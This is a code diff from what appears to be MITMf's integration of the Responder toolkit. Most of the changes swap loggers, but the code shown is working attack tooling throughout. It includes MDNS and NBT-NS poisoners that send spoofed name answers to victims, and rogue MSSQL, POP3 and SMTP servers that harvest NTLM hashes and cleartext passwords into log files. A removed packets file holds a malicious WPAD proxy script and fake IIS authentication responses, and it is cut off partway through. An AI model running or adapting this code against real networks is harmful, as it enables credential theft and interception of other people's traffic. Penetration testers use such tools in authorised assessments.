formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MDNSpoisoner", formatter)
|
||||
|
||||
class MDNSPoisoner():
|
||||
class MDNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
|
@ -21,13 +21,13 @@ class MDNSPoisoner():
|
|||
global OURIP; OURIP = ourip
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[MDNSPoisoner] OURIP => {}".format(OURIP))
|
||||
log.debug("OURIP => {}".format(OURIP))
|
||||
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
|
||||
t = threading.Thread(name="MDNSPoisoner", target=server.serve_forever)
|
||||
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
print "[MDNSPoisoner] Error starting on port 5353: {}" .format(e)
|
||||
log.error("Error starting on port 5353: {}" .format(e))
|
||||
|
||||
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -78,7 +78,7 @@ class MDNS(BaseRequestHandler):
|
|||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
|
@ -89,14 +89,14 @@ class MDNS(BaseRequestHandler):
|
|||
try:
|
||||
if args.analyze:
|
||||
if Parse_IPV6_Addr(data):
|
||||
mitmf_logger.info('[MDNSPoisoner] {} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
|
||||
if RespondToSpecificHost(RespondTo):
|
||||
if args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
||||
|
@ -104,7 +104,7 @@ class MDNS(BaseRequestHandler):
|
|||
|
||||
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
||||
if Parse_IPV6_Addr(data):
|
||||
mitmf_logger.info('[MDNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
|
||||
Name = Poisoned_MDNS_Name(data)
|
||||
MDns = MDNSAns(AnswerName = Name)
|
||||
MDns.calculate()
|
|
@ -2,25 +2,27 @@ import struct
|
|||
import logging
|
||||
import threading
|
||||
|
||||
from core.logger import logger
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from MSSQLPackets import *
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("MSSQLserver", formatter)
|
||||
|
||||
class MSSQLServer():
|
||||
class MSSQLserver():
|
||||
|
||||
def start(self, chal):
|
||||
global Challenge; Challenge = chal
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[MSSQLServer] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
|
||||
t = threading.Thread(name="MSSQLServer", target=server.serve_forever)
|
||||
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e))
|
||||
log.error("Error starting on port {}: {}".format(1433, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -47,10 +49,10 @@ def ParseSQLHash(data,client):
|
|||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
|
||||
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
|
||||
mitmf_logger.info('[MSSQLServer] MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
|
@ -64,10 +66,10 @@ def ParseSQLHash(data,client):
|
|||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
|
@ -86,7 +88,7 @@ def ParseClearTextSQLPass(Data,client):
|
|||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
|
@ -7,15 +7,17 @@ import logging
|
|||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("NBTNSpoisoner", formatter)
|
||||
|
||||
class NBTNSPoisoner():
|
||||
class NBTNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
|
@ -23,13 +25,13 @@ class NBTNSPoisoner():
|
|||
global args; args = options
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip))
|
||||
log.debug("OURIP => {}".format(ourip))
|
||||
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
|
||||
t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever)
|
||||
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting on port 137: {}".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
|
@ -107,7 +109,7 @@ def Decode_Name(nbname):
|
|||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e))
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
# NBT_NS Server class.
|
||||
|
@ -115,7 +117,7 @@ class NB(BaseRequestHandler):
|
|||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
|
@ -136,11 +138,11 @@ class NB(BaseRequestHandler):
|
|||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
else:
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
|
||||
if RespondToSpecificHost(RespondTo) and args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
|
@ -151,26 +153,26 @@ class NB(BaseRequestHandler):
|
|||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
|
@ -185,26 +187,26 @@ class NB(BaseRequestHandler):
|
|||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
|
@ -5,20 +5,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|||
from core.responder.common import *
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("POP3server", formatter)
|
||||
|
||||
class POP3Server():
|
||||
class POP3server():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[POP3Server] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
|
||||
t = threading.Thread(name="POP3Server", target=server.serve_forever)
|
||||
t = threading.Thread(name="POP3server", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(110, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
|
@ -43,7 +45,7 @@ class POP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
mitmf_logger.info('[+]POP3 User: %s'%(User))
|
||||
log.info('POP3 User: %s'%(User))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -51,7 +53,7 @@ class POP(BaseRequestHandler):
|
|||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
|
@ -60,4 +62,4 @@ class POP(BaseRequestHandler):
|
|||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[POP3Server] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -5,21 +5,23 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
|||
from base64 import b64decode
|
||||
from SMTPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SMTPserver", formatter)
|
||||
|
||||
class SMTPServer():
|
||||
class SMTPserver():
|
||||
|
||||
def serve_thread_tcp(self, port):
|
||||
try:
|
||||
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
|
||||
log.error("Error starting TCP server on port {}: {}".format(port, e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
mitmf_logger.debug("[SMTPServer] online")
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
|
||||
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
|
||||
|
||||
|
@ -56,7 +58,7 @@ class ESMTP(BaseRequestHandler):
|
|||
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
|
||||
mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
|
@ -1,275 +0,0 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
|
||||
class WPADScript(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServerExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentDisp", "Content-Disposition: attachment; filename="),
|
||||
("ContentDiFile", ""),
|
||||
("FileCRLF", ";\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysNormalFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: text/html\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
("Connection", "Connection: close \r\n"),
|
||||
("PConnection", "proxy-Connection: close \r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_407_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet Granted auth.
|
||||
class IIS_Auth_Granted(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP NTLM Auth
|
||||
class NTLM_Challenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
